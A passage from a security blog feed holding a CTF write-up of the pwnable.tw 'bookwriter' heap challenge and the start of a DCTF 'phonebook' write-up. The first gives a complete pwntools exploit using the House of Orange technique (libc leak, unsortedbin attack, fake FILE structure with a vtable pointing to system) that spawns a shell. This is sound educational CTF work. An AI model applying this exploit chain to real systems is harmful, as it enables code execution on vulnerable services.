&lt;p&gt;To target &lt;code&gt;_IO_FILE_plus&lt;/code&gt; structures in the libc we need to leak the libc address. To do so we can overwrite the size field of the top chunk with a small value and then requesting a huge chunk which will trigger the release of the top chunk, and put it in the unsorted bin.&lt;/p&gt;
&lt;p&gt;The mandatory thing is that &lt;code&gt;new_size + &amp;amp;top_chunk&lt;/code&gt; has to be aligned on &lt;code&gt;PAGE_SZ&lt;/code&gt; (&lt;code&gt;0x1000&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Which gives:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;io = start()

def set_author(name):
    io.sendlineafter(b&quot;Author :&quot;, name)

def alloc(size, content):
    io.sendlineafter(b&quot;Your choice :&quot;, b&quot;1&quot;)
    io.sendlineafter(b&quot;Size of page :&quot;, str(size).encode())
    io.sendlineafter(b&quot;Content :&quot;, content)

def show(index):
    io.sendlineafter(b&quot;Your choice :&quot;, b&quot;2&quot;)
    io.sendlineafter(b&quot;Index of page :&quot;, str(index).encode())

    io.recvuntil(b&quot;Content :\n&quot;)
    return io.recvuntil(b&quot;\n-&quot;)[:-2]

def edit(idx, content):
    io.sendlineafter(b&quot;Your choice :&quot;, b&quot;3&quot;)
    io.sendlineafter(b&quot;Index of page :&quot;, str(idx).encode())
    io.sendlineafter(b&quot;Content:&quot;, content)

def info():
    io.sendlineafter(b&quot;Your choice :&quot;, b&quot;4&quot;)
    io.sendlineafter(b&quot;Your choice :&quot;, b&quot;4&quot;)
    ret = io.recvline()
    io.sendlineafter(b&quot;(yes:1 / no:0) &quot;, b&quot;0&quot;)
    return ret

set_author(b&quot;A&quot;*0x40)

alloc(0x18, b&quot;A&quot;*0x18)
edit(0, b&quot;A&quot;*0x18)
edit(0, b&quot;A&quot;*0x18 + pwn.p16(0xfe0 | 0x1))
# overwrite top chunk size field

alloc(0xffff, b&quot;&quot;)
# free top chunk

&quot;&quot;&quot;
pwndbg&amp;gt; vis

0x1201000	0x0000000000000000	0x0000000000000021	........!.......
0x1201010	0x4141414141414141	0x4141414141414141	AAAAAAAAAAAAAAAA
0x1201020	0x4141414141414141	0x0000000000000fc1	AAAAAAAA........	 &amp;lt;-- unsortedbin[all][0]
0x1201030	0x00007fc7370efb78	0x00007fc7370efb78	x..7....x..7....
&quot;&quot;&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To leak the address, we can alloc a chunk of size zero and print it. Given the fact that the &lt;code&gt;author&lt;/code&gt; string is right before the alloc array and that we can overwrite the &lt;code&gt;NULL&lt;/code&gt; byte we can in the same way leak the heap address.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for i in range(5):
    alloc(0x0, b&quot;&quot;)

heap = info()
heap = pwn.u64(heap[len(&quot;Author : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&quot;):][:-1].ljust(8, b&quot;\x00&quot;)) &amp;amp; ~0xfff

alloc(0, b&quot;&quot;)
libc = pwn.u64(show(2).ljust(8, b&quot;\x00&quot;)) - 0x3c4188

print(f&quot;libc: {hex(libc)}&quot;)
print(f&quot;heap: {hex(heap)}&quot;)

&quot;&quot;&quot;
0x150c000	0x0000000000000000	0x0000000000000021	........!.......
0x150c010	0x4141414141414141	0x4141414141414141	AAAAAAAAAAAAAAAA
0x150c020	0x4141414141414141	0x0000000000000021	AAAAAAAA!.......
0x150c030	0x00007fd150996188	0x00007fd150996188	.a.P.....a.P....
0x150c040	0x000000000150c020	0x0000000000000021	 .P.....!.......
0x150c050	0x00007fd150995b78	0x00007fd150995b78	x[.P....x[.P....
0x150c060	0x0000000000000000	0x0000000000000021	........!.......
0x150c070	0x00007fd150995b78	0x00007fd150995b78	x[.P....x[.P....
0x150c080	0x0000000000000000	0x0000000000000021	........!.......
0x150c090	0x00007fd150995b78	0x00007fd150995b78	x[.P....x[.P....
0x150c0a0	0x0000000000000000	0x0000000000000021	........!.......
0x150c0b0	0x00007fd150995b78	0x00007fd150995b78	x[.P....x[.P....
0x150c0c0	0x0000000000000000	0x0000000000000021	........!.......
0x150c0d0	0x00007fd150996188	0x00007fd150996188	.a.P.....a.P....
0x150c0e0	0x000000000150c0c0	0x0000000000000f01	..P.............	 &amp;lt;-- unsortedbin[all][0]
0x150c0f0	0x00007fd150995b78	0x00007fd150995b78	x[.P....x[.P....
&quot;&quot;&quot;&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Which gives:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ python3 exploit.py LOCAL
[*] &apos;/home/nasm/Documents/pwn/pwnable.tw/bookwriter/bookwriter&apos;
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)
    RUNPATH:  b&apos;/home/nasm/Documents/pwn/pwnable.tw/bookwriter&apos;
    FORTIFY:  Enabled
[+] Starting local process &apos;/home/nasm/Documents/pwn/pwnable.tw/bookwriter/bookwriter&apos;: pid 19375
heap: 0x979000
libc: 0x7f301566d000
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;File stream exploitation&lt;/h1&gt;
&lt;p&gt;File stream exploitation is a very interesting way to drop a shell according to the primitives it allows you to leverage. The house of Orange uses the &lt;code&gt;vtable&lt;/code&gt; field within a &lt;code&gt;_IO_FILE_plus&lt;/code&gt; structure to hiijack the control flow.&lt;/p&gt;
&lt;p&gt;According to the libc source code, here is the definition of &lt;code&gt;struct _IO_FILE_plus&lt;/code&gt;, &lt;code&gt;_IO_FILE&lt;/code&gt; and &lt;code&gt;_IO_jump_t&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* We always allocate an extra word following an _IO_FILE.
   This contains a pointer to the function jump table used.
   This is for compatibility with C++ streambuf; the word can
   be used to smash to a pointer to a virtual function table. */

struct _IO_FILE_plus
{
  _IO_FILE file;
  const struct _IO_jump_t *vtable;
};

struct _IO_FILE {
  int _flags;		/* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;	/* Current read pointer */
  char* _IO_read_end;	/* End of get area. */
  char* _IO_read_base;	/* Start of putback+get area. */
  char* _IO_write_base;	/* Start of put area. */
  char* _IO_write_ptr;	/* Current put pointer. */
  char* _IO_write_end;	/* End of put area. */
  char* _IO_buf_base;	/* Start of reserve area. */
  char* _IO_buf_end;	/* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it&apos;s too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
    get_column;
    set_column;
#endif
};


/* The &apos;overflow&apos; hook flushes the buffer.
   The second argument is a character, or EOF.
   It matches the streambuf::overflow virtual function. */
typedef int (*_IO_overflow_t) (_IO_FILE *, int);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;__overflow&lt;/code&gt; function pointer is called especially in the &lt;code&gt;_IO_flush_all_lockp&lt;/code&gt; function, to really understand how you can reach this function I will put right below all the backtrace from the &lt;code&gt;malloc_printerr&lt;/code&gt; function.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;static void
malloc_printerr (int action, const char *str, void *ptr, mstate ar_ptr)
{
  /* Avoid using this arena in future.  We do not attempt to synchronize this
     with anything else because we minimally want to ensure that __libc_message
     gets its resources safely without stumbling on the current corruption.  */
  if (ar_ptr)
    set_arena_corrupt (ar_ptr);

  if ((action &amp;amp; 5) == 5)
    __libc_message (action &amp;amp; 2, &quot;%s\n&quot;, str);
  else if (action &amp;amp; 1)
    {
      char buf[2 * sizeof (uintptr_t) + 1];

      buf[sizeof (buf) - 1] = &apos;\0&apos;;
      char *cp = _itoa_word ((uintptr_t) ptr, &amp;amp;buf[sizeof (buf) - 1], 16, 0);
      while (cp &amp;gt; buf)
        *--cp = &apos;0&apos;;

      __libc_message (action &amp;amp; 2, &quot;*** Error in `%s&apos;: %s: 0x%s ***\n&quot;,
                      __libc_argv[0] ? : &quot;&amp;lt;unknown&amp;gt;&quot;, str, cp);
    }
  else if (action &amp;amp; 2)
    abort ();
}

// =&amp;gt; __libc_message is always taken as far as I know when an inconsistency is detected since there is an error to print, but action &amp;amp; 2 is true, which means that anyway, the abort is called as we can see right after in __libc_message.

/* Abort with an error message.  */
void
__libc_message (int do_abort, const char *fmt, ...)
{
  va_list ap;
  int fd = -1;

  va_start (ap, fmt);

#ifdef FATAL_PREPARE
  FATAL_PREPARE;
#endif

  /* Open a descriptor for /dev/tty unless the user explicitly
     requests errors on standard error.  */
  const char *on_2 = __libc_secure_getenv (&quot;LIBC_FATAL_STDERR_&quot;);
  if (on_2 == NULL || *on_2 == &apos;\0&apos;)
    fd = open_not_cancel_2 (_PATH_TTY, O_RDWR | O_NOCTTY | O_NDELAY);

  if (fd == -1)
    fd = STDERR_FILENO;

  struct str_list *list = NULL;
  int nlist = 0;

  const char *cp = fmt;
  while (*cp != &apos;\0&apos;)
    {
      /* Find the next &quot;%s&quot; or the end of the string.  */
      const char *next = cp;
      while (next[0] != &apos;%&apos; || next[1] != &apos;s&apos;)
	{
	  next = __strchrnul (next + 1, &apos;%&apos;);

	  if (next[0] == &apos;\0&apos;)
	    break;
	}

      /* Determine what to print.  */
      const char *str;
      size_t len;
      if (cp[0] == &apos;%&apos; &amp;amp;&amp;amp; cp[1] == &apos;s&apos;)
	{
	  str = va_arg (ap, const char *);
	  len = strlen (str);
	  cp += 2;
	}
      else
	{
	  str = cp;
	  len = next - cp;
	  cp = next;
	}

      struct str_list *newp = alloca (sizeof (struct str_list));
      newp-&amp;gt;str = str;
      newp-&amp;gt;len = len;
      newp-&amp;gt;next = list;
      list = newp;
      ++nlist;
    }

  bool written = false;
  if (nlist &amp;gt; 0)
    {
      struct iovec *iov = alloca (nlist * sizeof (struct iovec));
      ssize_t total = 0;

      for (int cnt = nlist - 1; cnt &amp;gt;= 0; --cnt)
	{
	  iov[cnt].iov_base = (char *) list-&amp;gt;str;
	  iov[cnt].iov_len = list-&amp;gt;len;
	  total += list-&amp;gt;len;
	  list = list-&amp;gt;next;
	}

      written = WRITEV_FOR_FATAL (fd, iov, nlist, total);

      if (do_abort)
	{
	  total = ((total + 1 + GLRO(dl_pagesize) - 1)
		   &amp;amp; ~(GLRO(dl_pagesize) - 1));
	  struct abort_msg_s *buf = __mmap (NULL, total,
					    PROT_READ | PROT_WRITE,
					    MAP_ANON | MAP_PRIVATE, -1, 0);
	  if (__glibc_likely (buf != MAP_FAILED))
	    {
	      buf-&amp;gt;size = total;
	      char *wp = buf-&amp;gt;msg;
	      for (int cnt = 0; cnt &amp;lt; nlist; ++cnt)
		wp = mempcpy (wp, iov[cnt].iov_base, iov[cnt].iov_len);
	      *wp = &apos;\0&apos;;

	      /* We have to free the old buffer since the application might
		 catch the SIGABRT signal.  */
	      struct abort_msg_s *old = atomic_exchange_acq (&amp;amp;__abort_msg,
							     buf);
	      if (old != NULL)
		__munmap (old, old-&amp;gt;size);
	    }
	}
    }

  va_end (ap);

  if (do_abort)
    {
      BEFORE_ABORT (do_abort, written, fd);

      /* Kill the application.  */
      abort ();
    }
}

// then abort is called

/* Cause an abnormal program termination with core-dump.  */
void
abort (void)
{
  struct sigaction act;
  sigset_t sigs;

  /* First acquire the lock.  */
  __libc_lock_lock_recursive (lock);

  /* Now it&apos;s for sure we are alone.  But recursive calls are possible.  */

  /* Unlock SIGABRT.  */
  if (stage == 0)
    {
      ++stage;
      if (__sigemptyset (&amp;amp;sigs) == 0 &amp;amp;&amp;amp;
	  __sigaddset (&amp;amp;sigs, SIGABRT) == 0)
	__sigprocmask (SIG_UNBLOCK, &amp;amp;sigs, (sigset_t *) NULL);
    }

  /* Flush all streams.  We cannot close them now because the user
     might have registered a handler for SIGABRT.  */
  if (stage == 1)
    {
      ++stage;
      fflush (NULL);
    }

  /* Send signal which possibly calls a user handler.  */
  if (stage == 2)
    {
      /* This stage is special: we must allow repeated calls of
	 `abort&apos; when a user defined handler for SIGABRT is installed.
	 This is risky since the `raise&apos; implementation might also
	 fail but I don&apos;t see another possibility.  */
      int save_stage = stage;

      stage = 0;
      __libc_lock_unlock_recursive (lock);

      raise (SIGABRT);

      __libc_lock_lock_recursive (lock);
      stage = save_stage + 1;
    }

  /* There was a handler installed.  Now remove it.  */
  if (stage == 3)
    {
      ++stage;
      memset (&amp;amp;act, &apos;\0&apos;, sizeof (struct sigaction));
      act.sa_handler = SIG_DFL;
      __sigfillset (&amp;amp;act.sa_mask);
      act.sa_flags = 0;
      __sigaction (SIGABRT, &amp;amp;act, NULL);
    }

  /* Now close the streams which also flushes the output the user
     defined handler might has produced.  */
  if (stage == 4)
    {
      ++stage;
      __fcloseall ();
    }

  /* Try again.  */
  if (stage == 5)
    {
      ++stage;
      raise (SIGABRT);
    }

  /* Now try to abort using the system specific command.  */
  if (stage == 6)
    {
      ++stage;
      ABORT_INSTRUCTION;
    }

  /* If we can&apos;t signal ourselves and the abort instruction failed, exit.  */
  if (stage == 7)
    {
      ++stage;
      _exit (127);
    }

  /* If even this fails try to use the provided instruction to crash
     or otherwise make sure we never return.  */
  while (1)
    /* Try for ever and ever.  */
    ABORT_INSTRUCTION;
}

/*
  Flush all streams.  We cannot close them now because the user
     might have registered a handler for SIGABRT.  

  the fflush is equivalent to a call to _IO_flush_all_lockp 
*/

int
_IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  struct _IO_FILE *fp;
  int last_stamp;

#ifdef _IO_MTSAFE_IO
  __libc_cleanup_region_start (do_lock, flush_cleanup, NULL);
  if (do_lock)
    _IO_lock_lock (list_all_lock);
#endif

  last_stamp = _IO_list_all_stamp;
  fp = (_IO_FILE *) _IO_list_all;
  while (fp != NULL)
    {
      run_fp = fp;
      if (do_lock)
	_IO_flockfile (fp);

      if (((fp-&amp;gt;_mode &amp;lt;= 0 &amp;amp;&amp;amp; fp-&amp;gt;_IO_write_ptr &amp;gt; fp-&amp;gt;_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
	   || (_IO_vtable_offset (fp) == 0
	       &amp;amp;&amp;amp; fp-&amp;gt;_mode &amp;gt; 0 &amp;amp;&amp;amp; (fp-&amp;gt;_wide_data-&amp;gt;_IO_write_ptr
				    &amp;gt; fp-&amp;gt;_wide_data-&amp;gt;_IO_write_base))
#endif
	   )
	  &amp;amp;&amp;amp; _IO_OVERFLOW (fp, EOF) == EOF)
	result = EOF;

      if (do_lock)
	_IO_funlockfile (fp);
      run_fp = NULL;

      if (last_stamp != _IO_list_all_stamp)
	{
	  /* Something was added to the list.  Start all over again.  */
	  fp = (_IO_FILE *) _IO_list_all;
	  last_stamp = _IO_list_all_stamp;
	}
      else
	fp = fp-&amp;gt;_chain;
    }

#ifdef _IO_MTSAFE_IO
  if (do_lock)
    _IO_lock_unlock (list_all_lock);
  __libc_cleanup_region_end (0);
#endif

  return result;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The interesting part is in the &lt;code&gt;_IO_flush_all_lockp&lt;/code&gt; function, it takes the &lt;code&gt;_IO_list_all&lt;/code&gt; global variable to iterate through all the file streams.
What we wanna reach would be the &lt;code&gt;_IO_OVERFLOW (fp, EOF) == EOF&lt;/code&gt; check, if the control the &lt;code&gt;__overflow&lt;/code&gt; field of &lt;code&gt;fp&lt;/code&gt; we could hiijack the control flow.&lt;/p&gt;
&lt;p&gt;To do so we have to craft a fake &lt;code&gt;_IO_FILE_plus&lt;/code&gt; structure on the heap and make the &lt;code&gt;_chain&lt;/code&gt; field of an existing file structure point toward our fake structure.&lt;/p&gt;
&lt;h2&gt;unsortedbin attack&lt;/h2&gt;
&lt;p&gt;To control the &lt;code&gt;_chain&lt;/code&gt; of a file structure we can overwrite the value of &lt;code&gt;_IO_list_all&lt;/code&gt; by the address of the unsortedbin with an unsortedbin attack. Then according to the structure of the &lt;code&gt;main_arena&lt;/code&gt; the unsortedbin is close to other bins like smallbins. Give the fact that the &lt;code&gt;_chain&lt;/code&gt; field is at &lt;code&gt;fp+0x68&lt;/code&gt;, we have to take a look at what there is at &lt;code&gt;unsortedbin+0x68&lt;/code&gt;. I will not dig into the handling of bins in the &lt;code&gt;main_arena&lt;/code&gt; so for this time let&apos;s just assume that out of no where &lt;code&gt;unsortedbin+0x68&lt;/code&gt; points to &lt;code&gt;small_bin[4]-&amp;gt;bk&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;So all we have to do is to craft a fake file structure of size 0x60, free it and next time unsortedbin will be requested, if the requested size is not equal to the chunk of our fake file structure, the fake file structure will be put into the right smallbin.&lt;/p&gt;
&lt;h2&gt;Put everything together&lt;/h2&gt;
&lt;p&gt;We can easily craft the vtable to initialize only the &lt;code&gt;__overflow&lt;/code&gt; function pointer to the address of &lt;code&gt;system&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fake_vtable = pwn.p64(0) * 3
fake_vtable += pwn.p64(libc + 0x45390) # &amp;amp;system
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To craft the &lt;code&gt;_IO_FILE_plus&lt;/code&gt; file structure, we need to take care to satisfy this condition seen above in &lt;code&gt;_IO_flush_all_lockp&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;      if (((fp-&amp;gt;_mode &amp;lt;= 0 &amp;amp;&amp;amp; fp-&amp;gt;_IO_write_ptr &amp;gt; fp-&amp;gt;_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
           || (_IO_vtable_offset (fp) == 0
               &amp;amp;&amp;amp; fp-&amp;gt;_mode &amp;gt; 0 &amp;amp;&amp;amp; (fp-&amp;gt;_wide_data-&amp;gt;_IO_write_ptr
                                    &amp;gt; fp-&amp;gt;_wide_data-&amp;gt;_IO_write_base))
#endif
           )
          &amp;amp;&amp;amp; _IO_OVERFLOW (fp, EOF) == EOF)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;fp-&amp;gt;_mode&lt;/code&gt; can be null, &lt;code&gt;fp-&amp;gt;_IO_write_ptr&lt;/code&gt; has to be greater than &lt;code&gt;fp-&amp;gt;_IO_write_base&lt;/code&gt;. Then &lt;code&gt;_IO_OVERFLOW (fp, EOF)&lt;/code&gt; is reached.&lt;/p&gt;
&lt;p&gt;Here comes the right file structure:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fake_file = b&quot;/bin/sh\00&quot;                	# _flags
fake_file += pwn.p64(0x61)               	# _IO_read_ptr
fake_file += pwn.p64(libc + 0x1337)    		# _IO_read_end
fake_file += pwn.p64(libc + 0x3c4520 - 0x10)    # _IO_read_base = _IO_list_all - 0x10
fake_file += pwn.p64(1)                  	# _IO_write_base
fake_file += pwn.p64(2)                  	# _IO_write_ptr
fake_file += pwn.p64(0)*18               	# _IO_write_end ... __pad5
fake_file += pwn.p32(0)                  	# _mode
fake_file += pwn.p8(0)*20                	# _unused2
fake_file += pwn.p64(heap + 0xd0) 		# vtable 
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;PROFIT&lt;/h2&gt;
&lt;p&gt;Here we are :)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ python3 exploit.py LOCAL
[*] &apos;/home/nasm/Documents/pwn/pwnable.tw/bookwriter/bookwriter&apos;
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)
    RUNPATH:  b&apos;/home/nasm/Documents/pwn/pwnable.tw/bookwriter&apos;
    FORTIFY:  Enabled
[+] Starting local process &apos;/home/nasm/Documents/pwn/pwnable.tw/bookwriter/bookwriter&apos;: pid 30480
heap: 0x2243000
libc: 0x7fcca564c000
[*] Switching to interactive mode
*** Error in `/home/nasm/Documents/pwn/pwnable.tw/bookwriter/bookwriter&apos;: malloc(): memory corruption: 0x00007fcca5a10520 ***
$ id
uid=1000(nasm) gid=1000(nasm) groups=1000(nasm),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),140(libvirt)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Annexes&lt;/h2&gt;
&lt;p&gt;Final script:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python
# -*- coding: utf-8 -*-

# this exploit was generated via
# 1) pwntools
# 2) ctfmate

import os
import time
import pwn


# Set up pwntools for the correct architecture
exe = pwn.context.binary = pwn.ELF(&apos;bookwriter&apos;)
pwn.context.delete_corefiles = True
pwn.context.rename_corefiles = False

host = pwn.args.HOST or &apos;127.0.0.1&apos;
port = int(pwn.args.PORT or 1337)


def local(argv=[], *a, **kw):
    &apos;&apos;&apos;Execute the target binary locally&apos;&apos;&apos;
    if pwn.args.GDB:
        return pwn.gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return pwn.process([exe.path] + argv, *a, **kw)


def remote(argv=[], *a, **kw):
    &apos;&apos;&apos;Connect to the process on the remote host&apos;&apos;&apos;
    io = pwn.connect(host, port)
    if pwn.args.GDB:
        pwn.gdb.attach(io, gdbscript=gdbscript)
    return io


def start(argv=[], *a, **kw):
    &apos;&apos;&apos;Start the exploit against the target.&apos;&apos;&apos;
    if pwn.args.LOCAL:
        return local(argv, *a, **kw)
    else:
        return remote(argv, *a, **kw)


gdbscript = &apos;&apos;&apos;
source /home/nasm/Downloads/pwndbg/gdbinit.py
b* main
continue
&apos;&apos;&apos;.format(**locals())

io = None

io = start()

def set_author(name):
    io.sendlineafter(b&quot;Author :&quot;, name)

def alloc(size, content, shell=False):
    io.sendlineafter(b&quot;Your choice :&quot;, b&quot;1&quot;)
    io.sendlineafter(b&quot;Size of page :&quot;, str(size).encode())
    
    if shell == True:
        io.interactive()

    io.sendlineafter(b&quot;Content :&quot;, content)

def show(index):
    io.sendlineafter(b&quot;Your choice :&quot;, b&quot;2&quot;)
    io.sendlineafter(b&quot;Index of page :&quot;, str(index).encode())

    io.recvuntil(b&quot;Content :\n&quot;)
    return io.recvuntil(b&quot;\n-&quot;)[:-2]

def edit(idx, content):
    io.sendlineafter(b&quot;Your choice :&quot;, b&quot;3&quot;)
    io.sendlineafter(b&quot;Index of page :&quot;, str(idx).encode())
    io.sendlineafter(b&quot;Content:&quot;, content)

def info():
    io.sendlineafter(b&quot;Your choice :&quot;, b&quot;4&quot;)
    io.sendlineafter(b&quot;Your choice :&quot;, b&quot;4&quot;)
    ret = io.recvline()
    io.sendlineafter(b&quot;(yes:1 / no:0) &quot;, b&quot;0&quot;)
    return ret

set_author(b&quot;A&quot;*0x40)

alloc(0x18, b&quot;A&quot;*0x18)
edit(0, b&quot;A&quot;*0x18)
edit(0, b&quot;A&quot;*0x18 + pwn.p16(0xfe0 | 0x1))
# overwrite top chunk size field


alloc(0xffff, b&quot;&quot;)
# free top chunk


# leak libc

for i in range(5):
    alloc(0x0, b&quot;&quot;)

heap = info()
heap = pwn.u64(heap[len(&quot;Author : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&quot;):][:-1].ljust(8, b&quot;\x00&quot;)) &amp;amp; ~0xfff
print(f&quot;heap: {hex(heap)}&quot;)

alloc(0, b&quot;&quot;)
libc = pwn.u64(show(2).ljust(8, b&quot;\x00&quot;)) - 0x3c4188 
print(f&quot;libc: {hex(libc)}&quot;)

edit(0, b&quot;&quot;)
alloc(0, b&quot;&quot;)
# set top zero the first entry a size_array


fake_vtable = pwn.p64(0) * 3
fake_vtable += pwn.p64(libc + 0x45390) # &amp;amp;system

fake_file = b&quot;/bin/sh\00&quot;                # _flags

fake_file += pwn.p64(0x61)               # _IO_read_ptr
fake_file += pwn.p64(libc + 0x1337)    # _IO_read_end
#fake_file += pwn.p64(libc + 0x3c3b78)    # _IO_read_end
fake_file += pwn.p64(libc + 0x3c4520 - 0x10) # _IO_read_base = _IO_list_all - 0x10
fake_file += pwn.p64(1)                  # _IO_write_base
fake_file += pwn.p64(2)                  # _IO_write_ptr
fake_file += pwn.p64(0)*18               # _IO_write_end ... __pad5
fake_file += pwn.p32(0)                  # _mode
fake_file += pwn.p8(0)*20                # _unused2
fake_file += pwn.p64(heap + 0xd0) # 

edit(0, (pwn.p64(0)*3 + pwn.p64(0x21)) * 6 + fake_vtable + pwn.p64(0)*2 + fake_file)
edit(0, b&quot;&quot;)

io.recvuntil(b&quot;choice&quot;)
io.recvuntil(b&quot;choice&quot;)

alloc(0xffff, b&quot;&quot;, shell=True)
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://1ce0ear.github.io/2017/11/26/study-house-of-orange/&quot;&gt;Very good article about house of Orange&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://1ce0ear.github.io/2017/09/25/File-Stream-Pointer-Overflow1/&quot;&gt;Article about FILE structure&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L4988&quot;&gt;libc source code on bootlin&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>[DCTF 2022 - pwn] phonebook</title><link>https://n4sm.github.io/posts/phonebook/</link><guid isPermaLink="true">https://n4sm.github.io/posts/phonebook/</guid><pubDate>Sun, 17 Apr 2022 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Intro&lt;/h2&gt;
&lt;p&gt;phonebook is a basic heap challenge I did during the dctf event. It&apos;s basically just a heap overflow wich allows us to overflow a function pointer with for example the address of system.&lt;/p&gt;
&lt;h2&gt;The bug&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;$ ./phonebook
Choose an option: [1-5]
1. Store someone&apos;s information
2. Edit information
3. Call someone
4. Unfriend someone
5. Add the hidden_note
&amp;gt; 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can create an entity and then initialize: a name, a numero and a function pointer.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int __fastcall create(unsigned int a1)
{
  int result; // eax
  struct entity *s; // [rsp+18h] [rbp-8h]

  if ( people[a1] )
    return printf(&quot;Person with id %d already exists!&quot;, a1);
  s = malloc(0x20uLL);
  s-&amp;gt;name = get_name();
  LODWORD(s-&amp;gt;name_size) = strlen(s-&amp;gt;name);
  printf(&quot;Phone number: &quot;);
  fgets(s, 8, _bss_start); // phone number
  s-&amp;gt;func = choose_relation();
  result = s;
  people[a1] = s;
  return result;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The bug lies &lt;code&gt;edit_name&lt;/code&gt; function:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;unsigned __int64 __fastcall edit_name(int a1)
{
  int n; // [rsp+18h] [rbp-18h] BYREF
  int name_size; // [rsp+1Ch] [rbp-14h]
  struct entity *v4; // [rsp+20h] [rbp-10h]
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  v4 = people[a1];
  name_size = v4-&amp;gt;name_size;
  printf(&quot;Name length: &quot;);
  __isoc99_scanf(&quot;%d&quot;, &amp;amp;n);
  fgets(v4-&amp;gt;name, 2, _bss_start);
  if ( name_size != n )
  {
    free(v4-&amp;gt;name);
    v4-&amp;gt;name = malloc(n + 1);
  }
  printf(&quot;Name: &quot;);
  fgets(v4-&amp;gt;name, n, _bss_start);
  v4-&amp;gt;name[n] = 0;
  return __readfsqword(0x28u) ^ v5;
}
&lt;/code&gt;&lt;/pre&gt;
